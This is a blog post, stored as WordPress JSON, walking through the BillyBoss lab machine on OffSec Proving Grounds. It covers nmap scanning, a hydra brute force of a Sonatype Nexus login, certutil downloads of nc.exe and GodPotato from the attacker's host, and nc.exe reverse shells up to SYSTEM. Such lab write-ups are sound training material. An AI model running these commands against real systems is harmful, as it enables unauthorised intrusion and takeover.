{"id":164,"date":"2023-08-13T20:34:49","date_gmt":"2023-08-13T20:34:49","guid":{"rendered":"https:\/\/bentoboxinfosec.com\/wordpress_8\/?p=164"},"modified":"2023-08-13T20:43:31","modified_gmt":"2023-08-13T20:43:31","slug":"billyboss-proving-grounds-walkthrough","status":"publish","type":"post","link":"https:\/\/bentoboxinfosec.com\/wordpress_8\/?p=164","title":{"rendered":"BillyBoss &#8211; Proving Grounds Walkthrough"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">BillyBoss is an intermediate machine on OffSec Proving Grounds Practice. This machine has a vulnerable content management system running on port 8081 and a couple of different paths to escalate privileges. In this walkthrough we&#8217;ll use <a href=\"https:\/\/github.com\/BeichenDream\/GodPotato\/releases\">GodPotato<\/a> from BeichenDream. This machine is also vulnerable to smbghost and there will be another walkthrough at a later date focusing on that vector as it requires a bit of work to take advantage of without remote desktop access.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s get started! First we&#8217;ll run a scan with nmapAutomator. I prefer to use this particular automation script because it runs several different types of nmap scans against the target including scanning non-standard ports and running script scans. This would be pretty noisy in a real environment but it is very nice for CTF exercises since it quickly gives you a list of open ports and enumerates the services running on them most of the time.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I like to start with a Full scan, there is also an All scan that will check for vulnerabilities and do some basic enumeration on any web services that are discovered:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nmapAutomator.sh -H 192.168.171.61 -t Full <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Right away we see several interesting ports, FTP is running on port 21, the SMB ports 135, 139 and 445 are all exposed, and there are web servers running on port 80 and 8081:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"979\" height=\"593\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image.png\" alt=\"\" class=\"wp-image-165\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image.png 979w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-300x182.png 300w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-768x465.png 768w\" sizes=\"auto, (max-width: 979px) 100vw, 979px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The script scan didn&#8217;t return anything too interesting for SMB, attacking FTP did not yield any results and a quick searchsploit search turned up nothing for BaGet. We do get some interesting results for Nexus Repository though through searchsploit:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"264\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-1-1024x264.png\" alt=\"\" class=\"wp-image-166\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-1-1024x264.png 1024w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-1-300x77.png 300w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-1-768x198.png 768w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-1.png 1198w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The Sonatype Nexus Remote Code Execution result matches the version we have running on BillyBoss. This looks promising, however it requires authentication. Browsing to the page and trying some weak\/common creds, (admin:admin, admin:password, etc.), do not allow access so we are going to need to find credentials.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The exploit also has a hard coded IP, hard coded credentials, and a hard coded command that will all need to be updated:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"721\" height=\"597\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-2.png\" alt=\"\" class=\"wp-image-167\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-2.png 721w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-2-300x248.png 300w\" sizes=\"auto, (max-width: 721px) 100vw, 721px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">I also tried a creds search to see what the default credentials are, and there is an entry but they do not allow access either:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"480\" height=\"233\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-3.png\" alt=\"\" class=\"wp-image-168\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-3.png 480w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-3-300x146.png 300w\" sizes=\"auto, (max-width: 480px) 100vw, 480px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It looks like we may need to try and brute force some credentials to gain our foothold. Let&#8217;s take a look at the login request and response with Burp Suite:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"783\" height=\"434\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-4.png\" alt=\"\" class=\"wp-image-169\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-4.png 783w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-4-300x166.png 300w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-4-768x426.png 768w\" sizes=\"auto, (max-width: 783px) 100vw, 783px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The login is a POST request and the username and password appear to be encoded. Using the Decoder in Burp we are able to decode by first URL decoding then Base64 decoding:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"564\" height=\"375\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-5.png\" alt=\"\" class=\"wp-image-170\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-5.png 564w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-5-300x199.png 300w\" sizes=\"auto, (max-width: 564px) 100vw, 564px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We can keep this in mind when we begin our attack with hydra. First let&#8217;s try to make a couple of wordlists for usernames and passwords to try.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s start by making a password list with cewl and ensuring we have a lowercase version of the words that are discovered appended to the list as well. We want the lowercase words in case we have to mutate the list later on with hashcat. In this case we did not need to mutate the list but we did get a hit on a lowercase password so it was an important step.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cewl http:\/\/192.168.171.61:8081\/ | grep -v CeWL &gt; passwords.txt\ncewl --lowercase http:\/\/192.168.171.61:8081\/ | grep -v CeWL  &gt;&gt; passwords.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now that we have our passwords we need some usernames to try. I kept the list of users short in case it was something logical and to cut down on the time the attack would take. If we had been unsuccessful we could have added more usernames, mutated the password list, or tried a premade password list like rockyou.txt. Usually on CTF machines anything more than that will be overkill.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"671\" height=\"312\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-6.png\" alt=\"\" class=\"wp-image-171\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-6.png 671w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-6-300x139.png 300w\" sizes=\"auto, (max-width: 671px) 100vw, 671px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Keeping our request from Burp in mind, the format for hydra should be a POST request, username and password need to be encoded in Base64, and finally a login failure is indicated by a 403 error. This gives us the command as follows:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hydra -I -f -L unames.txt -P passwords.txt 'http-post-form:\/\/192.168.171.61:8081\/service\/rapture\/session:username=^USER64^&amp;password=^PASS64^:C=\/:F=403'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We get a hit pretty quickly! The username and password are nexus:nexus:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"682\" height=\"221\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-7.png\" alt=\"\" class=\"wp-image-172\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-7.png 682w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-7-300x97.png 300w\" sizes=\"auto, (max-width: 682px) 100vw, 682px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now that we have credentials we can modify our python exploit with the correct IP address and the credentials we found. We also want to modify the command to something useful, so let&#8217;s try and transfer over nc.exe:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CMD='certutil.exe -urlcache -split -f http:\/\/192.168.45.201\/nc.exe nc.exe'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">First let&#8217;s start the http server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo python3 -m http.server 80 <\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"323\" height=\"69\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-8.png\" alt=\"\" class=\"wp-image-173\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-8.png 323w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-8-300x64.png 300w\" sizes=\"auto, (max-width: 323px) 100vw, 323px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We get a hit on our http server indicating the command execution is working as expected:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"570\" height=\"102\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-9.png\" alt=\"\" class=\"wp-image-174\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-9.png 570w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-9-300x54.png 300w\" sizes=\"auto, (max-width: 570px) 100vw, 570px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">At this point we could craft a reverse shell using msfvenom, but we have nc.exe on the box and we can try  catching a simple command shell using this first. We start a listener on port 443 and update the exploit once again with the following command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CMD='.\\\\\\\\nc.exe 192.168.45.201 443 -e cmd.exe'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">It works and we catch a reverse shell on port 443! We used port 443 because this is common port and not very likely to be blocked by the Windows firewall.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"716\" height=\"527\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-10.png\" alt=\"\" class=\"wp-image-175\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-10.png 716w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-10-300x221.png 300w\" sizes=\"auto, (max-width: 716px) 100vw, 716px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Right away we see SeImpersonatePrivilege is enabled, this is a good indication one of the many Potato privilege escalations will be likely to work. We also have the name of the user we are running as so we can grab the local.txt at this point.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Users\\nathan\\Nexus\\nexus-3.21.0-05&gt;type c:\\users\\nathan\\desktop\\local.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Running sysinfo failed for us, so let&#8217;s grab the latest version on <a href=\"https:\/\/github.com\/carlospolop\/PEASS-ng\/\">winPEAS<\/a> and see if it can give us some more information before we go blindly trying to escalate privileges. It&#8217;s important to always get the latest version, I initially ran an older version and it missed some things.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"547\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-11-1024x547.png\" alt=\"\" class=\"wp-image-176\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-11-1024x547.png 1024w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-11-300x160.png 300w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-11-768x410.png 768w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-11.png 1036w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Notice that winPEAS was able to gather the systeminfo for us even though the command didn&#8217;t execute for us in the shell. Although it won&#8217;t always show you the way forward running this script can still save you time and give you a lot of valuable information. Time is often a factor on a CTF exercise or an exam like the OSCP or CPTS so you want to be as efficient as possible and automate where it makes sense. Be careful relying on automation too much because these boxes are often built to defeat &#8216;spray and pray&#8217; techniques. This is why I personally do not like to use autorecon. I find it to be overkill, noisy, and it frequently fails to complete in a timely manner or at all.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can see in the output that it identifies the machine as being vulnerable to CVE-2020-0796, smbghost. I tried this at first but it failed since the POC is intended to launch a system level command shell when you have GUI access via RDP or are logged on locally.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After some web searching <a href=\"https:\/\/github.com\/BeichenDream\/GodPotato\">GodPotato<\/a> appears to be able to elevate privileges on this build of Windows 10 so let&#8217;s try that. We will transfer the .exe over and try to catch another reverse shell, this time on port 8443 with elevated privileges. Port 8443 is another common port as the backup for SSL so it is frequently open. The commands are:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>certutil.exe -urlcache -split -f http:\/\/192.168.45.201\/GodPotato-NET4.exe GodPotato.exe \n\nGodPotato.exe -cmd \"C:\\Users\\nathan\\Nexus\\nexus-3.21.0-05\\nc.exe 192.168.45.201 8443 -e cmd.exe\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After executing GodPotato we have an system level shell like magic! It&#8217;s not entirely perfect, (whoami fails), but it is good enough to grab the proof.txt and finish up the box:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"579\" src=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-12.png\" alt=\"\" class=\"wp-image-177\" srcset=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-12.png 680w, https:\/\/bentoboxinfosec.com\/wordpress_8\/wp-content\/uploads\/2023\/08\/image-12-300x255.png 300w\" sizes=\"auto, (max-width: 680px) 100vw, 680px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\Windows\\system32&gt;type C:\\Users\\Administrator\\Desktop\\proof.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This was a fun box that includes a couple of ways to escalate privileges after discovering some weak credentials for a vulnerable web service. At a later date I will revisit this box to make a walkthrough for smbghost. Getting it to work will require modifying and compiling the POC code referenced by winPEAS from <a href=\"https:\/\/github.com\/danigargu\/CVE-2020-0796\">DaniGargu<\/a> in Visual Studio.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>BillyBoss is an intermediate machine on OffSec Proving Grounds Practice. This machine has a vulnerable content management system running on port 8081 and a couple of different paths to escalate privileges. In this walkthrough we&#8217;ll use GodPotato from BeichenDream. This machine is also vulnerable to smbghost and there will be another walkthrough at a later &#8230; <a href=\"https:\/\/bentoboxinfosec.com\/wordpress_8\/?p=164\" class=\"more-link\">Read More<span class=\"screen-reader-text\"> &#8220;BillyBoss &#8211; Proving Grounds Walkthrough&#8221;<\/span> &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[78,76,77,79,75],"class_list":["post-164","post","type-post","status-publish","format-standard","hentry","category-walkthough","tag-billyboss","tag-godpotato","tag-proving-grounds","tag-sonatype-nexus","tag-vulnerable-cms"],"_links":{"self":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/posts\/164","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=164"}],"version-history":[{"count":3,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/posts\/164\/revisions"}],"predecessor-version":[{"id":180,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/posts\/164\/revisions\/180"}],"wp:attachment":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=164"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=164"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=164"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}